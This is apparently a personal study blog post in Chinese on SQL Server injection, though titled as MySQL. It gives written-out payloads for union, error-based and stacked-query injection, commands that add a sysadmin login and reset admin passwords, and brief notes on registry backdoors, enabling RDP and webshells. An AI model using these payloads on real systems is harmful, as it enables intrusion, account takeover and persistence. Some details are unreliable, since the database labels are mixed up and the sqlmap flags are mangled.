首页 > 数据库 >MySQL注入1笔记

MySQL注入1笔记

时间:2023-12-16 19:22:19浏览次数:28  
标签:name 数据库 表名 笔记 MySQL null id select 注入

Sqlsever常规操作

  1. access数据库大于100m可能就会运行缓慢,为了应对中小型企业的使用,微软推出

    了sqlserver数据库,用来应对一些大型的数据量。

  2. sqlserver常用于:

    教育网站

    政府网站

    棋牌网站

    游戏网站

一个企业站一个服务器,有可能是sqlsever

一个服务器多个企业站,基本上是access

  1. 监听端口:1433

管理员账号:sa,允许外部连接,可以密码爆破

数据库文件后缀:.mdf .ldf 下载数据库时两者需要同时下载

  1. 数据库使用

这四个系统数据库是由dbid号划分的,用户再创建数据库dbid号从5开始

 

Sqlsever版本向下兼容,如08可以访问05的数据

  1. 数据库删除

删除数据库先分离,然后进数据库目录删除

  1. 数据库权限

    sa权限:数据库操作,文件管理,命令执行,注册表读取等 =system

    dbo权限:文件管理,数据库操作等 =users-administrators

    public:数据库操作 =guest-users

  2. 调用数据库代码

在源码中会有明文显示

  1. 数据库账号信息常见的位置:

    conn.asp/aspx

    config

    dbconn

    web.config

如果查看源代码发现不是sa账号,但不一定没有sa权限,进一步测试再下结论

有时sa账号也会存在被降权的处理

 

Sqlsever注入利用

  1. 判断注入的语句

    And 1=1 and1=2

    ' "

    / -0

  2. 初步判断是否是mysql

    And user > 0

  1. 判断数据库系统

    and (select count(*) from sysobjects)>0 判断是否为mysql

    and (select count(*) from msysobjects)>0 判断是否为access

 

下面是布尔盲注的语句,全靠猜,一般用工具跑

Sqlsever常见的注入类型

  1. Bool盲注
  2. Union

union select null,null,null

替换字符列进行查询数据

查询数据库:

?id=1 union select null,(select name from master.dbo.sysdatabases where dbid=1),null

查询表名:

id=1 union select null,(select top 1 name from (select top 1 name from sysobjects where xtype=0x75 order by name) t order by name desc),null

改变top后的数字来改变查询的第几个表

查询列名:

?id=1 union select null,(select col_name(object_id('表名'),1)),null

改变表名后的数字来改变查询的第几个列

 

注意:access使用select from后面要指定表名,但mssql和mysql可以不指定

因为用数字在非数字列数据类型不匹配会报错,不像access会

直接爆出来,所以要用null,再用数字替换确定是不是数字列,或

用'null'判断是不是字符列,页面回显正常就是字符列,报错就是数字列。

  1. Error:

查询数据库版本

?id=1 and 1=(select@@version)

通过报错把想要获取的信息显示出来。

由于输入id=1是数字类型,后面的语句与数字型不匹配,强制转换会导致报错,从而把查询的信息跟报错信息一起显示出来,也可以?id=@@version

查询数据库名

?id=1 and1 (select db_name())

?id=db_name()

查询表名

获取第一张表名:

?id=1 and 1=(select top 1 name from sysobjects where xtype='u')

获取第二张表名?id=1 and 1=(select top 1 name from sysobjects where xtype='U' and name <>'前一张表名')

以此类推,除去查过的表继续查询在后面加and name <> '表名'即可

可以以xml格式输出所有表

and 1=(select name from sysobjects where xtype='u' for xml path)

这种可能会被waf拦截

查询列名

?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = '表名'))

同样用and name <> '列名'来依次来爆其他列名

也可使用xml输出

?id=1 and 1=(select top 1 name from syscolumns where id =(select id from sysobjects where name = '表名') for xml path)

查询数据

?id=1 and 1=(select top 1 列名 from 表名)

  1. 多语句
  2. 时间盲注

Sqlsever不同权限利用

判断权限语句

and 1=(select is_srvrolemember('sysadmin')) :判断是否为sa(系统管理员)权限

and 1=(select is_srvrolemember('db_owner')):判断是否为dbo(库)权限

and 1=(select is_srvrolemember('public')) :判断是否为public权限

页面返回正常说明是你正在测的权限

*Sa权限的利用

  1. 注入用户密码(三种权限都可以)
  2. 修改网站管理员密码:

应用于管理员密码md5值解不出来

先备份原md5值

?id=1 ;update admin set pass='要设置的密码的md5' where

admin='管理员用户名'(这里是多语句查询注入)

  1. 直接getshell

  1. 调用系统命令

创建系统管理员

注意:08创建用户时限制密码不能用弱口令

 

操控文件

操控日志文件

getshell

08:

Echo写入一句话到网站根目录,注意一句话要用^引用

 

  1. 创建sqlserver管理:

exec master.dbo.sp_addlogin test,password:创建一个test账号

exec master.dbo.sp_addsrvrolemember test,sysadmin:将test账号添加到

sysadmin中,拥有sa权限

  1. 系统服务操作,停止或启动服务:

exec master..xp_servicecontrol 'stop','schedule'

exec master..xp_servicecontrol 'start','schedule'

  1. 注册表操作

创建后门

开启3389

 

启用3389之后新建任务调用cmd,可以进行无文件攻击,建立反弹会话

运行Explorer.exe可直接进入系统

Dbowner权限利用

Getshell

可以利用工具

Sqlsever工具使用

Sqlmap:

Sqlmap -u url --current -db 列出当前数据库

Sqlmap -u url --current -user 查看当前用户

Sqlmap -u url --is -dba 判断是否为管理员

标签:name,数据库,表名,笔记,MySQL,null,id,select,注入
From: https://www.cnblogs.com/4A16/p/17905209.html

相关文章

  • joyrl book学习笔记(未完成
    以下命令在cmd中执行查看当前存在的虚拟环境condaenvlist#condaenvironments:#baseC:\ProgramData\anaconda3jupyter_envC:\ProgramData\anaconda3\envs\jupyter_envPyTorchC:\Users\M\.conda\envs\PyTorch安......
  • Mysql注入1笔记
    Sqlsever常规操作access数据库大于100m可能就会运行缓慢,为了应对中小型企业的使用,微软推出了sqlserver数据库,用来应对一些大型的数据量。sqlserver常用于:教育网站政府网站棋牌网站游戏网站一个企业站一个服务器,有可能是sqlsever一个服务器多个企业站,基本上是access......
  • Nestjs的Provider 和依赖注入
    前言上文介绍了如何理解依赖注入和控制反转,简单来说,控制反转是一种设计模式,可以将类与类的关系解耦,将人工维护转移给一个容器维护。要实现控制反转,依赖注入是一个常用方案,将依赖注册到DI容器中,哪里用到,就让容器将实例注入到哪里。Nest中的依赖注入,主要就是围绕提供者(Provider)展......
  • 最小树形图学习笔记
    最小树形图学习笔记退役前想学但没时间学的uselessalgorithm,退役后找时间都学掉。这是其中之一。有向图上的最小生成树称为最小树形图(DirectedMinimumSpanningTree)。本文默认树形图为外向树,即除根以外的所有点的入度为\(1\),根的入度为\(0\)。最小树形图问题即求一个有......
  • mysql使用小tip
    小tip1mysql>usetestReadingtableinformationforcompletionoftableandcolumnnamesYoucanturnoffthisfeaturetogetaquickerstartupwith-ADatabasechanged当切换到某个库时,经常会出现上面信息,意思是预读这个库中表以及表列信息。但是当库中表很多,表中数......
  • 拟阵学习笔记(各处抄的,未完)
    昨天CMDround要用♿不会就来学了......
  • 《程序员修炼之道:从小工到专家》阅读笔记(7)
    第36节主要讨论了在项目开始之前的一些准备步骤和流程。作者强调了需求识别的重要性,并提出需求是与用户共同完成的“发现”过程,而不仅仅是收集他们的意见。需求在某种程度上应该保持抽象,因为需求不等同于架构或设计。作者还提到了一个词汇表的维护,这是为了消除歧义,并确保大家对需......
  • ml.net例子笔记2-概念和Widnows AI Studio
    一机器学习和ml.net1Python机器学习库在Python中,工具和库的生态系统可以分为五个主要领域:数据处理数据可视化数值计算模型训练神经网络这可能不全,因为此外还有其他许多的库,它们负责其他任务,并专注于机器学习的一些特定领域,比如自然语言处理和图像识别。使用Python......
  • 12月15日《软件需求十步走》阅读笔记二
    树立正确的软件需求的概念,信息化普及的当代,人们大都着重于软件开发,很轻易的就会忽略开发的最初需求分析,这样导致最后的开发受阻或终止等问题时,就会在时间、人力、物力方面造成大量浪费,那对于开发过程十分重要的需求分析过程,我们有什么好方法可以应用呢?我们一直在寻找真正的“完整......
  • MySQL锁:Java开发者必须掌握的关键技术
    一、介绍在多用户并发访问数据库时,为了保证数据的一致性和完整性,数据库系统需要使用锁来控制对共享资源的访问。MySQL作为一款流行的关系型数据库管理系统,也提供了丰富的锁机制来支持并发控制。对于Java开发者来说,了解和掌握MySQL锁是至关重要的,因为它可以帮助我们更好地设计和优化......